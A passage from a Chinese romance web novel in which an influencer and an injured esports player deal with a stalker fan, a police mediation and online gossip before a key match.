…… Lumina是国内近几年来比较火的服装品牌,价位多层次,定位多元化,拥有多个线下主题店,还有着自己的独立设计师,每期上新都会引领一波时尚潮流,几乎每个人的衣柜里都会有一件Lumina的衣服。 这次,位于海市市中心的Lumina分店从4月份便开始动工,改头换面,将原本简约风的三层楼店铺刷成粉蓝白相间的颜色,整体基调偏向年轻化,店内风格以及设施也都是年轻人会喜欢的模样。 店面焕然一新,6月升级开业,此时正值暑期,为吸引更多的青少年群体,老板大手一挥,请来当红小花和各平台高人气博主到店进行宣传,随之该品牌的热度又是一阵飙升,进店购物的人数也跟着增加。 祝愉因为上次拍摄有单独cut,所以担任的是一日店长,从早上十点到下午三点是她工作的时间,主要站在收银台那打包收款。跟她同一时间段的还有一个男生阿明,19岁,因为分享日常跳舞视频而走红,平台粉丝大概有三百多万,多数都是颜粉,这次也是被请来撑场面。 距离开店时间还有一个多小时,祝愉闲得没事,便在店里逛了一圈,挑了好几件男生穿的衣服,打算买给俞述穿。 “小竹姐,你怎么挑的全是一个色系的?”阿明凑过来,看了眼祝愉推车里的衣服,基本上都是黑蓝灰,偶尔才有一两件白色,“你男朋友年龄应该不大吧?” 祝愉停下手中的动作,因为她好像没怎么见俞述穿过亮色系的衣服,就连FRG的队服都是深蓝色和黑色相间的,她也下意识地拿了一堆深色衣服。 “所以你男朋友多大了啊?”阿明继续问道。 祝愉不太想理他,从早上来就一直缠着她问这问那,不回答就一直问,她冷冰冰地说:“21。” “真的假的?你们还是姐弟恋啊!” “假的。”祝愉彻底无语,一开始她就说没有男朋友,他不信,现在说了有,他还是不信。 “哎呦,其实姐弟恋没有什么不好啊?” 祝愉没有说话,在比较这两件蓝色衣服俞述穿上会怎么样。 “年纪大也没关系,那种大个十几二十岁也是经常见的。” “你们有合照没?我看一眼呗。” 旁边的人喋喋不休,祝愉没有搭话,把刚筛选掉的几件衣服放回衣架整理好,转身走开。 这家分店的一楼大部分都放置着设计师过来搭配的套装,两侧是简单的配饰和T恤,中间有电梯,两边也有上楼的旋转楼梯,左边上去就可以看到女装,右边则是男装,但两个半区都是互通的,场地很大,可以随便逛。三楼则是较为中性的衣服和小众服饰。 祝愉走到一楼收银台,把刚刚给俞述挑的衣服拿出来,准备付款。 衣服装了一半,店长过来看了眼 祝愉,感叹道:“感觉你学习这些还挺快的,阿明就磨磨唧唧的。” 祝愉不置可否,“我大学兼职有做过,可能经验会多一些。” 她大学跟家里吵架,一心想着赚钱,什么活都干过,就是为了早点实现经济自由,后来被推荐去做了一段时间的服摄模特,工作结束之后还会帮着店家打包衣服,这样时薪和日薪会更高一些。 “啊……那你还挺努力的。”店长看了一会儿觉得没什么问题就走了。 店里一共有12个人,收银处四人,导购六人,还有两个随机岗。 “小竹姐……”阿明又过来,靠在收银台这里,准备再扯几句闲话。 “别问我了,有什么不会的去问店长,我跟你不是一个岗位的。”祝愉实在是不想跟他说话了,年纪是小,但他又不只是活泼,更多的是不自觉的冒犯。 “哎呦,我问完再走,就一个问题。” 祝愉示意他快说。 “你那个男朋友是不是一个打游戏的职业选手啊。”阿明作死地试探道。 她抬头看向阿明,终于忍无可忍,一早上各种打听,不知道这消息又是从哪来的,语气冰冷,带着怒意,“你是觉得我脾气很好吗?” 阿明像是有点惊讶,他以为祝愉不会生气的,哈哈笑了一下,“你有点崩人设了啊,等等可得忍住别朝粉丝发脾气。” “我什么人设?” “网上不都说你脾气很好吗?还是温柔类型的……”阿明嗤笑,也不过如此。 “脾气好也分对谁,开玩笑和冒犯我分得清。”祝愉不想再跟他多说一个字。 “你就不疑惑我是从哪知道你男朋友的吗?” 阿明看着眼前的人,祝愉现在应该求他,让他别说出去才是。 “是沈苒吧。”语气笃定。 “你……” “你俩这一点挺像的,很没有脑子,怪不得是姐弟。”祝愉站在收银台的台阶上,显得高高在上。 “下次加好友记得把朋友圈关了,别把同伙给出卖了。”祝愉好心提醒了一句,置顶就是他俩的合照,想装看不见都不行。 祝愉想了想,又说道:“下次把小聪明用在对的地方。” 阿明恼羞成怒,气得转头就走了,一整天都没有从二楼下来过。 祝愉心里发笑,真是纸老虎,沈苒要是真敢把这事传出去,也不会让阿明过来骚扰她了。 …… 站了一早上,祝愉的腿有些发麻,店长便过来替她一会儿,让她坐在旁边休息一下。 “……真是你,我还以为我看错了。” 祝愉抬头,是宋熙,她挽着一个女生的胳膊过来结账。 祝愉勾了一下嘴角,算是打了招呼,宋熙像是没察觉到这份疏远,自顾自地说:“我今天和我朋友来买几件裙子,打算去见俞述的时候穿。” “啊……是嘛。”祝愉敷衍道。 等排到收银处,宋熙跟旁边的朋友说:“她不混竞圈,但是她姐是那个悦悦,跟宋衍棠一样烦,都不给我说俞述的事。” 她那天结束之后还加了陈词恩微信,一直都不回她消息,装什么大忙人。 宋熙还想说什么,被旁边的朋友拉住,“我记得她有去过现场啊。” “谁?祝愉?”宋熙转了一下眼珠子,她记得祝愉不看KPL吧。 “对啊,还是那场FRG跟VRGM的比赛,你不是考试没来吗?但我在大屏上看见过她。” 宋熙不太相信祝愉会对这些感兴趣,撇了撇嘴,“估计是她姐给的票吧,她可能想涨点粉,不是有些小明星小网红什么的也会去看这种比赛嘛?” “啊?但是她又不算是……小竹在网上挺火的呀……”感受到了宋熙的凝视,朋友渐渐闭了嘴,没有再说话。 “祝愉姐,我走了啊,再见~”宋熙扬起甜甜的笑。 当时的祝愉叹了口气,希望再也不见…… 但事与愿违。 14. 第14章 “各位旅客您好,这里是客舱广播。因航路天气原因,本次航班将推迟起飞,具体起飞时间我们将另行通知……” 祝愉看了眼表,八点十分。她叹了口气,下午结束工作后就马不停蹄地回酒店收拾行李赶到机场,饭都没吃几口,现在还晚点,到锦州也不知道要多晚了。 祝愉前面坐着一个非常有个性的人,发型夺目亮眼,从上了飞机之后,她的目光所及之处全是他的头发,把她的视线遮得严严实实。 飞机延迟起飞,这个男人起身去厕所,祝愉才终于看到了客舱前半段的光景。 视线前移,坐在前面几排的宋熙落入她的眼底。 祝愉看到背影后,把刚摘下的口罩又戴了回去,闭目养神。 眯了一会儿还是没有什么睡意,祝愉又拿起手机翻看最近热点,琢磨着去了锦州拍点什么内容。 长公主:【在不在不】 是陈词恩发来的微信。 【嗯哼】 长公主:【这会儿飞机还没起飞吗?】 祝愉:【没有,晚点了】 长公主:【你有没有在飞机上看到宋熙啊?】 祝愉心里纳闷,怎么突然问起宋熙了。 【看到了,她怎么了啊?】 长公主:【哦哦哦,我刚下飞机,在机场看到宋照在找她】 陈词恩刚从榆市回来,等车的时候偶然看到宋照也在,他在不远处打电话,一脸焦急,陈词恩多嘴问了一句,才知道是宋熙说着来接他,结果他下飞机一直没看到人,电话也打不通。 陈词恩记起她是俞述的粉丝,FRG的下场比赛就在锦州,恰好从祝愉那里知道今晚有趟去锦州的航班,就安慰宋照说可能宋熙去看比赛了,她去问问。 长公主:【哇,你知道宋照现在有多恐怖吗?那脸色跟墨一样黑,抿着嘴一直不说话】 祝愉:【啊……人不是知道在哪了吗?】 过了十几分钟,陈词恩那边才发来消息:【我的天,我才知道宋熙她是俞述的私生啊,所以宋照特别反感她去看那些比赛,每月不忙的时候都要到这来看住宋熙让她别乱跑,但这次她妈妈心软,悄悄把身份证给宋熙了,没想到她找了个借口跑出来,转头就去看比赛了】 祝愉:【?】 长公主:【宋照说他也没有办法了,每个月两头跑一直跟着还是管不住,他爸还好一些,他妈妈是特别溺爱宋熙,要什么给什么,他一张嘴都说破了都劝不动他妈】 祝愉有一些惊讶,原来上次聚餐听到的事是这个。 …… 半个小时后,去往锦州的飞机终于离开海市,飞入乌黑的云层。 晚上十点半,飞机到达锦州机场,直到看不见宋熙的身影,祝愉才收拾好东西离开机舱。 小香是早上到的锦州,提前去看了一下之前选好的几个拍摄点,订好酒店后就来机场接祝愉了。 “其实你待在酒店就好了,来回跑很累的,我到了打车就行。”祝愉单独提着一袋衣服递给小香,“这是我今天买的,看挺适合你,就给你买了几件。” “小竹姐,你真的超级无敌好!”小香接过后拎在手里,笑嘻嘻地看向祝愉,“所以我怎么可能不来接你呢。” “这不算对你好,这是对你工作认真的奖励。”祝愉故意虎着脸说,“要好好工作才会有更多的福利。” “遵命,长官!”小香右手敬礼,接受了这口大饼,她是真的很喜欢在祝愉这当助理,很轻松自在,工资也是正常薪资,偶尔加班还会给高额加班费,还经常给她买吃的穿的,她愿意誓死效忠小竹长官。 祝愉抿嘴笑了笑,小香点子很多,安排给她的事她绝对会保质保量完成,绝对不偷懒。平时也古灵精怪的,性格特别好,跟她相处会很自然,不会特别僵硬,所以她也乐意对小香好。 小香已经提前叫好了车,去酒店放好行李后带着祝愉先去附近吃饭。 “这家可好吃了,我之前上学的时候来这边旅游偶然发现的,我一天吃三顿呢。”小香拉着祝愉到了一家炒菜馆,按着两人的口味点了几道菜。 锦州比海市要凉快,空气也没那么湿,夏天就算没坐在店里吹空调,在外面支着的桌子上吃也不会感到很燥,风吹过来还挺舒服。 不远处的广告牌上写着“心灵的归宿,宿县”。 祝愉记得俞述的老家就在宿县,但他早两年的采访里说是在锦州长大的,没怎么回过老家。 “小香,你知道宿县离这有多远吗?” “大概一百多公里吧。”小香记得这是个近两年火起来的旅游城市,她以前还在小众宝藏旅游地点的推荐榜里看到过,结果现在都进入大众榜单了。 祝愉点点头,如果后面有时间的话可以去宿县转一圈。 晚上十二点多,两人吃饱之后从小吃街离开,按着导航显示的路线穿入一条小巷,黑灯瞎火,周围除了她们两个人再也看不见别的影子,静得可怕,祝愉打开手机上的手电筒向前一照,一个庞然大物伫立在她们前面,距离不到两米远,但亮光足以照清这是个什么东西。 是变态。 凌晨一点,锦州公安局武江分局桐安派出所接到一通报警电话,有两个女生在武江小吃街旁边的梧桐巷遇到了暴露狂。 吴天接到电话就跟同事迅速出警了。 “真的是无法理解现在的人都是啥思想,一天天干点正事不好吗,非得搞变态那一套,不是跟踪就是骚扰。”同事小李气愤地说,他去年刚到这派出所当辅警,越干越开眼,什么稀奇古怪的事都能碰到,这几天倒好,全是遇到变态的报警电话,搞得文旅局现在对他们意见特别大。 “消消气吧,怪人多了去了,唉。”吴天刚来的时候也是这样,七八年过去,算是见惯了物种多样性,现在已经淡然了,你无法永远用一个正常人的思路去理解这些脑子不对劲的人心里面想的什么。 到了梧桐巷,周围聚着一堆人,他们都是被尖叫声给吸引来的,本来安静的巷子顿时嘈杂一片,吴天费劲地扒开人群,挤了进去。 “警察来了,警察来了,快让开。”人群中一个大爷喊道。 拥挤的人群散开,一个胖一点的小伙紧紧按住地上躺着的男人,嘴里嘟囔着,“警察来了我看你怎么跑,妈的天天败坏我们锦州的名声。” “怎么回事啊?”吴天问旁边站着的两个女孩,一个还算冷静,另一个龇牙咧嘴的捂着胳膊。 其中那个冷静的女生就是祝愉,她看到警察来才松了一口气,将刚刚发生的事说了一遍。 她们当时吃完饭从这条路回酒店,看到这个变态不穿衣服直愣愣地站在路中间一直笑,她们就尖叫了一声,结果这个人就直冲冲地向她们跑来,她下意识的抬脚踹了一下,这男的就躺地上不起来了,后面就乌泱泱地来了一群人,再后面就是现在看到的场景了。 “你的胳膊怎么回事?”吴天问旁边的女生。 小香尴尬地笑了一下,她是抡圆胳膊准备给那男的一拳,结果使的力气有些大,给抽着了。 吴天说人没事就行,这会要带她们去派出所做个笔录。 问清楚是外地来的人之后,一旁的小李已经能预知到明天文旅局会怎么给他们所长进行狂轰乱炸式的电话夺命call了,然后再开会把他们臭骂一顿。 “别拍了别拍了啊,都快点回家吧,这么晚了。”小李催促还围着的那几个人,他们才收起手机往巷子外走。 刚刚按着那变态的小伙转头给小李安顿道:“兄弟,你们也多巡逻巡逻,最近几天咋变态这么多,那网上全是说咱的,咱好名声全叫这种小人给坏完了。” 小李点头说一定,其实他们最近一周加了好几个时间段在巡逻了,但是因为各式各样的活动太多了,最近来锦州的人不少,警力属实不够,有些地方巡察的可能没那么严,顾不上来,就让人钻了空子,今天都还抓到几个说是私什么的,跟在人后面拍视频卖钱,时代发展越来越快,他感叹道居然还有专职变态。 …… 桐安派出所。 祝愉她们在等着做笔录,凌晨的派出所报案人还是挺多的。 祝愉已经有点瞌睡了,便靠在椅背准备 眯一会儿。 “你说说你们几个姑娘老干这种事干嘛?啊?人长得漂漂亮亮的,也有学上,成天就什么都不管,一个两个跟小混混一样跟在别人屁股后面偷拍人家,像什么话!啊?”一个老警官在旁边调解室里大声教育道,声音不偏不倚地传到等候区。 小香好奇地过去看了一眼,调解室门没关,靠里面一侧坐着好几个女生,另一边则坐着三个男的,其中一个还戴着口罩。 “我一查那违法记录,每个人七八条,你们有没有想过自己这样做合适吗?光彩吗?家人知道了心里面会不会难受啊?你们难道没有自己的生活吗?就追这追那的,花的还是父母的辛苦钱,就尽干这种违法的事……” 小香听了几句,现在私生真是猖狂,围在酒店附近就算了,都开始偷摸地钻人家房间了,就是不知道那个戴着口罩的是哪个明星。 她悄悄走回去坐在祝愉身边,正好吴天过来叫她们去做笔录,他到前台去补充出警记录,顺便签个字。 “俞述……”吴天看着登记单上的名字,是那个俞述吗? “诶,小丽,这个报警人的信息你有吗?我看一眼。” 看着电脑上的身份信息,居然是个老熟人。 他刚来锦州的时候,负责的第一个打架斗殴事件,其中被打的那个小孩就是俞述,隔三差五就被地痞流氓打,身上就没块好地方。 他当初真是为了俞述操碎了心,还自掏腰包给那小孩医疗费,结果俞述梗着脖子就是不要他的钱,说不想欠他的人情。 没想到几年后在这又碰见了。 “跟踪骚扰……”吴天合上记录本,打算做完笔录过去看一眼。 …… “我们是不可能接受她们道歉的,三番五次地来骚扰人,这几个女的我都已经眼熟了,我们家孩子走哪跟到哪,这次还直接硬闯房间,那还拿着手机一直拍,这啥意思?准备发到网上再编几句闲话造个谣?这不害人清白吗?到时候谁来替我家孩子做主啊?” 阿良已经气得肺快要炸了,怎么走哪都是这种神经病,要不是房间里还有他和91冲出来把私生拦在外面,那一张白纸都能被网上那些人说成黑纸。 “对,他妈的到时候出事了谁来负责,谁知道这些人手里面有没有拿什么危险的东西,把人伤了怎么办?”91站起来吼道,他以为是外卖,就让俞述开门去取了,结果一个女的直接扑上来就要从门缝里挤到房间去,为了防那个女的干什么,俞述的左手还被门给夹了,现在好好的手都紫了一大片,后天就要比赛了,还不知道会不会有影响。 “你先坐下冷静冷静,我们好好谈谈,别那么冲动。”老警官安慰道,他也头疼啊,这些小女生里面大部分都是未成年,不好处理。 “叔,我也不是跟你急,是因为这小子工作的原因,那手最重要了,我们来这就是打比赛的,结果因为她们还把手给弄伤了,万一有后遗症怎么办?那他后面的职业生涯不就毁了吗?”91激动道。 吴天拿着文件进来,坐到老警官旁边,问调解得怎么样了。 “唉……”老警官叹了口气,头更疼了,朝吴天摆了摆手,转头看向那几个女生,“你们父母呢?让联系了半天还没来,等着我打电话吗?” 短发女生说她妈妈等会就来了,另一个红色头发的女生也说马上…… “你呢?” 老警官看着坐在最后的一个女生问道,那女孩估计是第一次进派出所,进来之后就没说一句话,一直在发呆,脸上都是汗。 “我、我不是这的,我、我哥应该明天才能过来。”那女孩回过神,眼眶湿润,眼泪要掉不掉,“我不会怎么样吧,我没有干什么的,我就是想看一眼他……我真没想这样。” 她语无伦次地重复着,她不敢打电话,她哥知道了一定会骂死她的。 明明之前没这么严重啊……怎么这次就被抓了。 “宋熙!” 调解室门口传来一道女声,语气隐含怒火,被叫到名字的女生抬头看过去—— 是前不久才见到的祝愉,她怎么会在这里? 15. 第15章 祝愉站在门口,脑海里全是阿良和91说的那几句话。 她做完笔录正打算回酒店,刚走到楼道,就听见调解室里传来的声音。 她以为是自己听错了,但是紧接着“比赛”、“职业生涯”这几个词眼涌入她的耳朵,心顿时一沉,她有了不好的预感。快步走近往里一看,一眼认出中间那个包裹严实的人。 视线下移,搭在腿上的那只白皙的手微微抽搐,手背上赫然多出一条两指宽的紫黑色印记,从食指根部一直连到手腕,突兀而显眼。 俞述冷淡的眸子随着声音看过去,瞳孔轻颤,像是有点意外祝愉的出现。 祝愉一瞬不瞬地盯着俞述的手,连带着她的指尖也不受控制地抖动,一股怒火随着宋熙的尖声终于喷涌而出。 “是不是我哥叫你跟踪我!”宋熙刚刚还愧疚的模样瞬间变得狰狞。 “跟踪?!你是不是把自己想得太重要了?”祝愉连续质问道,“你跟我有什么关系?我为什么要在你身上花时间干这种见不得人的事?你以为所有人都跟你一样没事干吗?” “你!” “你是她什么人?宋熙的父母什么时候来?”那个老警官看向祝愉,开口问道。 “我们父母认识,我会打电话通知她哥哥来的。” 祝愉迟疑了一下,还是转身离开,出去之前担忧地看了眼俞述,他眼皮微微耷拉着,清亮的眼眸此时此刻像是被一层雾笼罩着,眼底尽是倦色。 俞述起身似乎想要跟她说什么,她轻轻摇了摇头,转头走出派出所给宋照打电话。 电话那头的男人还在睡梦中,话语间还有些模糊不清,当听到宋熙出事了,一下翻起身,火急火燎地套上衣服要出门。 祝愉听着那边窸窸窣窣的声音,忍不住带了些怨气,“现在慌张有什么用?你大半夜的怎么来?” 宋照停下动作,看了眼时间,凌晨两点四十分,他张了张嘴,没有说话。 “我没有立场去指责你们家的教育方式,但是宋熙现在这个样子,你们是觉得还不错吗?”祝愉第一次这么不客气。 “我……”宋照不知道说什么,“我们以为不让她出门就行了……” “你们是在过家家吗?”祝愉反问,这会让宋熙知道问题的严重性吗? 这是一种变样的纵容。 祝愉挂了电话,过了几秒钟,宋照发来消息说会坐最早的飞机到锦州的,希望她今晚能帮他照看一下宋熙,就当是看在父母的情面上,他后面会补偿祝愉的。 祝愉冷冰冰地回了句:【现在才想着找人给她擦屁股吗?】 收起手机,她心里沉甸甸的,想起俞述的手,她转身准备再进去,却看到了身后站着的俞述。 不知道是什么时候出来的,也不知道站了多久,他没有说话,就那样静静地看着祝瑜,就像祝瑜总是静静地看向他一样。 “你……你的手怎么样了?”祝愉语气酸涩,向前走了几步,低头看着他垂下来的手,但灯线昏暗,看不太真切。 俞述沉默,看了好半会儿,似是有点难以启齿。 “很疼。” 语气当中有一丝他自己都没有察觉到的委屈。 祝愉也顾不得别的,小心翼翼地牵起俞述的左手,凑近仔细地看着,因为皮肤白的原因,手背上青蓝色的血管清晰又纤细,但一条骇人的瘀痕晕染开来,破坏了这份美感。 心疼压过了那份火气,她没有俞述那样平静,焦急地问他有没有冰敷。 “敷了一会儿,太冰了就拿开了。”俞述看着女人焦灼的表情,他有点后悔刚刚那样说了。 祝愉打算去附近便利店看看有没有冰袋,让他先回去坐着,但被俞述拉住了。 “我陪你一起去。” …… 此时已是凌晨三点,路上没有什么人,亮着的只有街道边的路灯,头顶处橘黄色的光照下来,正好中和了那点冷清。 祝愉进到24小时便利店拿了两个冰袋,又买了一条粉色毛巾,层层缠绕,觉得是能接受的温度后,才牵起俞述的手,轻轻贴在他的手背上。 “现在怎么样?会不会太冰?” “刚好。”俞述低头看着祝瑜认真的神色,“其实只是看起来比较吓人。” 这点伤对他来说不算什么。 “这肯定很疼啊,你别再逞强了。” 我没有逞强……俞述心里默默念道,以前受的伤要比这疼多了。 敷了一会儿,小香打电话问祝愉在哪,要不要回酒店。 祝愉想到宋熙还在派出所就头疼,她也不可能真的不去管宋熙。 “你事情处理完了吗?现在你是回酒店还是……” “回酒店吧,明天的训练不能耽误。” “你的手都这样了,还可以打比赛吗?” “医生说……明天就好了,没事的。”俞述顿了一下,没有说实话。 祝愉听闻,不知道还能做些什么,便没有再坚持,干脆闭嘴什么都不说。 俞述看着祝瑜的表情,接过她手里的冰袋,“我拿着吧,你的手都凉了,对身体不好。” 祝愉手心一松,她倒是没有什么不适的感觉,刚刚也只是堪堪扶着冰袋不让它掉下去,另一只手托着俞述受伤的那只手,两人掌心相对,触碰着彼此的脉搏。 俞述的手指要比她长很多,微凉的指尖带着点水汽,蜷缩着轻轻搭在祝愉的手腕处…… 即便手抽离,那一块还残存着湿润的感觉。 “我……我没有想占你便宜……”祝愉有点不自在,害怕俞述多想,解释了一遍。 俞述偷偷弯嘴笑了一下,“嗯,我知道。” “所以……还是我拿着吧。”祝愉伸手,镇定自若地看向俞述。 “不行,太冰了。”俞述义正言辞地拒绝道。 …… 派出所门口。 祝愉走到台阶前,就看到阿良和小香刚好出来。 “怎么样了?”祝愉看向阿良。 阿良迟疑了一下,还是说道:“事情有点复杂……其中我们经常见到的那几个私生也报警处理过很多次,但是因为都才十五六岁,每次就是写个保证书什么的就过去了,让她们家长来感觉作用也不大……” 他叹了口气,“私生这种事本来就不好去管,我们哪有这个权利,不接受道歉又能怎么办……那个把俞述的手夹伤的女生也才十四岁,家长来了也不说话,完全沟通不了,还有几个成年了的根本不认为她们有错……只能等早上黄姐和王总来了再看要怎么办。” 阿良说完,环顾了一周,没看到俞述,“诶?俞述人呢?” “被教练先带走了。” 那会儿祝愉和俞述刚过了人行道,就看见不远处站着91,他一直在抽烟,看两人来了,才说要先带俞述回酒店谈点事。 阿良了然,知道应该是关于比赛的事。 下一场比赛并不好打,JCM是老牌战队,想要从他们手里率先拿到去S组的门票,难度很大,因为在过往交手的比赛中,双方有输有赢,但无一例外全部打满。 所以这场比赛对选手的状态和操作要求很高,粉丝期望更甚,大家都不想输。但偏偏俞述受伤了……还是最重要的手。 俞述虽然有替补,但前一个月才刚刚成年,还没有登场打过比赛,实战经验为零。最关键的是跟一队也没怎么磨合过,要是贸然让新人上场,恐怕会带来负面的效果。 像这种团队比赛最重要的就是配合,更不用提指挥位的重要性,少了俞述,就相当于少了团队的大脑。 再者,在关键赛的前一天,如果就个人原 因作出临时轮换,队伍各方面的压力都会暴增,尤其是舆论压力…… 俞述在KG经历过这些,所以肯定不想让新人就这样上来替队伍背锅。 “他的伤不严重吧。”祝愉担心俞述不说实话。 “去医院看了一下,医生说这几天冰敷就可以了,骨头没什么问题,就是还会有酸胀感,剧烈动作的话可能还会疼。”阿良挠挠头回忆道,向祝愉吐槽,“让他敷个冰袋,敷几分钟就扔了,说缓一缓就行了,他心里有数,他心里有个鸡毛的数,我真是服了。” “我刚刚给他敷了一会儿,大概十几分钟,他后面就拿着冰袋回酒店了。”祝愉觉得俞述也没那么不听话,想了想又说,“还是要麻烦你回去盯着他敷,马路对面有个便利店卖冰袋,你等会儿回去的时候再多买点……一袋冰可能坚持不了多久……我包里还有止痛药,他要是手疼得厉害的话就吃一片……” 祝愉絮絮叨叨地说了很多,阿良也是一脸认真,虽然说他是俱乐部专门给俞述配的助理,但他负责的也不止有这些,某些方面他确实没有女生心细。 阿良走后,到了凌晨四点。 已经过了睡觉的时间段,祝愉也没有那么困了,她让小香先回去休息,小香也不回,说留下来陪着祝愉,处理完事了再一起回酒店,怕路上再出什么意外。 祝愉只好带着小香又回到了调解室,里面多了几个中年男女,应该是这几个女生的家长,听着老警官和吴天作口头教育。 祝愉坐到宋熙对面,也不想跟她说一句话。 她认为自己没有什么可跟宋熙交流的,能忍住不发火已经是她最大的极限了。 “我哥呢?你不是打电话给我哥告状去了吗?他怎么还不来?”宋熙翻了个白眼,心里暗骂她是个告状精。 “你哥要是有随叫随到的本事,现在你应该在被他收拾的路上,而不是在这里坐着。” “你说话就说话,阴阳怪气什么呢!”宋熙拔高音量,惹得老警官频频看向这边。 “我不是在学你吗?我说几句你就不舒服了?怎么没想想别人会不会因为你觉得不舒服?” 祝愉不再客客气气地跟她说话,19岁的年纪,还是那么任性,在外面胡作非为,根本没有一点道德和礼貌。 宋熙站起来指着祝愉,还想说什么,却被吴天给制止了,“坐下,你想干什么!” 祝愉也站起身,拉着在一旁听傻了的小香,冷着脸径直走出去,宋熙爱怎么样就怎么样去,跟她有什么关系,她大半夜不回去睡觉在这当别人的出气筒,宋照请求她帮忙时产生的那么一点恻隐之心也已经完全被宋熙消耗殆尽了。 她们走到门口,被吴天喊住。 吴天匆匆走上前,“那个叫宋……熙的,因为已经成年了,所以不用她家长来接就可以走了,你看你这边……” “我跟她不熟。”祝愉补充道,“她想去哪让她自己决定吧,我干涉不了。” “这样啊,那就没什么事了……”吴天摸了摸下巴,还是问了句,“你跟俞述认不认识啊?” 他跟在俞述身后出去,本来想跟俞述聊几句的,结果看到这小子跟那个姑娘在聊天,他就没好意思上去打扰。 祝愉谨慎地回答道:“嗯,算是朋友。” 吴天哦了一声,也没再问,就嘱咐她们回去的时候注意安全。 “您认识俞述?”祝愉心中疑惑,试探着问了一句。 吴天也没多想,便下意识地回答,“我都看着他长大的……认识好久了。” 就是不知道那小子还记不记得他。 “他小时候……” 听女人提到这,吴天回想起几年前的事,心中突然多了丝说不清的沉闷,话到嘴边也停了下来,重重地叹了口气—— “你还是自己去问他吧……” 16. 第16章 FRG与JCM的比赛前夕,一电竞营销号在凌晨放出瓜条,声称FRG中单重明意外受伤,或将退出比赛。 一时间流言四起,关于俞述受伤的事闹得沸沸扬扬,各个帖子底下围满了吃瓜群众。 【这真的假的?得伤得多严重才会赛?】 【活该】 【我靠,除了重明还有指挥吗?这比赛怎么打?】 【怎么可能退赛,假瓜吧,他不是没替补吗】 【严谨一点,有替补,前段时间刚成年,但从未跟一队训练过】 【那FRG要g了呀】 【也真是神人,快比赛了不注意点,这会儿受伤不开玩笑吗?队友怎么办有想过吗?】 【就干脆退役算了,妈的这么不负责任打个蛋的比赛】 【但我听人脉说,重明下一赛段不一定是首发了,这次比赛可能会上新人磨合一下?反正最差也是A组了】 【常年S组,这会你说A组就A组了,成绩不要了?脸不要了?滚啊】 【下一场打JCM这么有自信吗?少一个人能开比赛吗?】 【俱乐部能不能死出来回应啊】 【都说他是软蛋了,每到关键赛之前就出问题,之前不就因为家里那点破事还一赛季没打吗?】 【哎哎哎,有一说一那是他外婆进抢救室了,命悬一线,他能不回去吗?什么叫家里那点破事?你他妈家人有生命危险你不回去看着啊,而且又不是没跟俱乐部提前打招呼】 【嘴上积德懂吗?】 91看着这些帖子嘴里骂骂咧咧,啥都不知道搁这乱说。 俞述则一言不发,安静地坐在沙发一角,手背上的冰袋开始渗出细密的水珠,一半冰一半水,晃晃悠悠失去平衡,掉到大腿处,浸出一片湿痕。 他又拿起,继续放在手上,靠在沙发背上闭目养神。 91忍住没有抽烟,但他没忍住俞述这些稀奇古怪的动作,“化了就换一个呗,我记得冰箱里有啊?” “还没化完。” 91摇了摇头,有时候他真不理解俞述的那些固执,无论大小事,得按顺序一件一件来,他记得薰薰说这叫什么完美收尾癖…… 也是奇怪。 一阵沉默后,91想了想自己要说的话,清清嗓子,“你的手赶比赛之前能好吗?” 俞述睁开眼,伸出自己的左手看了一下,“按照经验来说……能好,对比赛没什么影响。” “你有个屁的经验。”91只当他在安慰自己。 安静了几秒,91纠结地说道:“我这会儿也挺矛盾的,你现在最重要的肯定是好好休养,硬打比赛肯定会影响你的手,后面能不能恢复也不好说,这点细微的变化对你们职业选手来说肯定会无限放大的,但……” “烁安的状态实在是不稳定,我有想过让他替你上场,但他没有跟一队训练过,如果贸然上他,我怕他心态会出问题……毕竟这时候换人,对谁来说压力都很大,中轴是个关键位置,轻易动不得……更何况你还是指挥,灼忧还没练出来。” 91这时候想抽根烟,但还是忍了忍作罢,“而且下一场跟JCM的比赛很关键,不只是跟第二轮分组有关,新的赛训负责人也会到场观赛,也有跟我提过轮换的事。这人你认识,李由,是你KG时候的教练,他这人吧……唉,我不好评价,虽然我这样说很为难,可能还有些不近人情,但是你必须上场……尽力而为好吧。” 话语断断续续,颠三倒四,想要说出口的话太多太多。 最近高层变动的事91没有跟他们提过,害怕影响比赛和选手心态,可现在他不得不跟俞述说清楚。 不能理解就不能理解吧。 但看着俞述未变的神色,91疑惑地问了句,“你是不是早就知道李由会来?” “嗯,他刚来海市就找了我。”俞述点点头,“说如果跟JCM的比赛输了,他会考虑下我首发,让烁安上场。” 语气平淡,好像完全接受这样的命令。 91一下子站起来,看着俞述,声音极大,“你怎么不跟我说这件事?” “妈的那傻叉,人都没到俱乐部就对赛训指手画脚的。” 91来回踱步,嘴里嘟囔着,“不行,我得找王总去说……老板也行。” 说着就要去打电话,但俞述的一句话让他停下了动作。 “什么?王总答应了?老板也同意!?”91诧异道,随即一怒,“他们疯了吗?把比赛当什么了?过家家吗?想下谁就下谁,有把我放在眼里吗?” “虽然他说的很多事我都不会认同……”俞述起身走到91面前,拉住他的胳膊,缓缓开口,“但是没关系,我不认为我会输。” “JCM很强,但我们也不差。” “FRG强的从来不只是我一个人,而是我们。” …… 早上十点,祝愉担心俞述的伤,一晚上都没怎么睡好,但又怕他这会儿还没醒,就戳了戳阿良。 【俞述的手怎么样了呀?】 等了许久还没有回应,祝愉就在身后垫了个枕头,在床上回复工作上的消息,今天下午三点要出去拍摄,这会儿双方还要确定一些细节。 娜娜是锦州本地的摄影师,跟祝愉认识了很久。 娜娜从海市回去之后做起了约拍,账号流量还不错,知道祝愉要来这,就主动跟她约了一次拍摄。 娜娜:【你是不是跟Lumina合作了啊?】 祝愉:【嗯,有一个推广】 娜娜:【我说呢,昨天我去百里广场吃饭,路过Lumina还看到你的海报了】 提到Lumina,祝愉看了眼桌上那几袋衣服,是她给俞述买的,得找个时间送给他,说不定还能知道点俞述的情况。 她看了眼时间,觉得来得及,既然阿良还没有回消息,那她就直接送到酒店好了。 锦州地形复杂,杂七杂八的路口很多,祝愉跟着导航绕了很久,才到俞述他们下榻的酒店。 正巧阿良回了消息说俞述的手好点了,就是还不能太使劲,现在在医院复查。 祝愉放下手里的东西,发消息:【我在楼下,有东西要给俞述,你可以下来取一下吗?麻烦啦】 没一分钟,阿良回复道:【稍等,马上下去】 她坐到一旁的沙发上,百无聊赖地把玩着茶几上的摆件,一旁的吧台员询问她需不需要什么。 祝愉撑着下巴,手指在平板上滑动,她有点想喝柠檬水,要多加点冰。 点完后正要递给旁边站着的人,突然,一阵清脆的巴掌声响起,祝愉抬眼望去,居然是宋熙一家,想起宋熙的私生身份,也了然她为什么会在这家酒店。 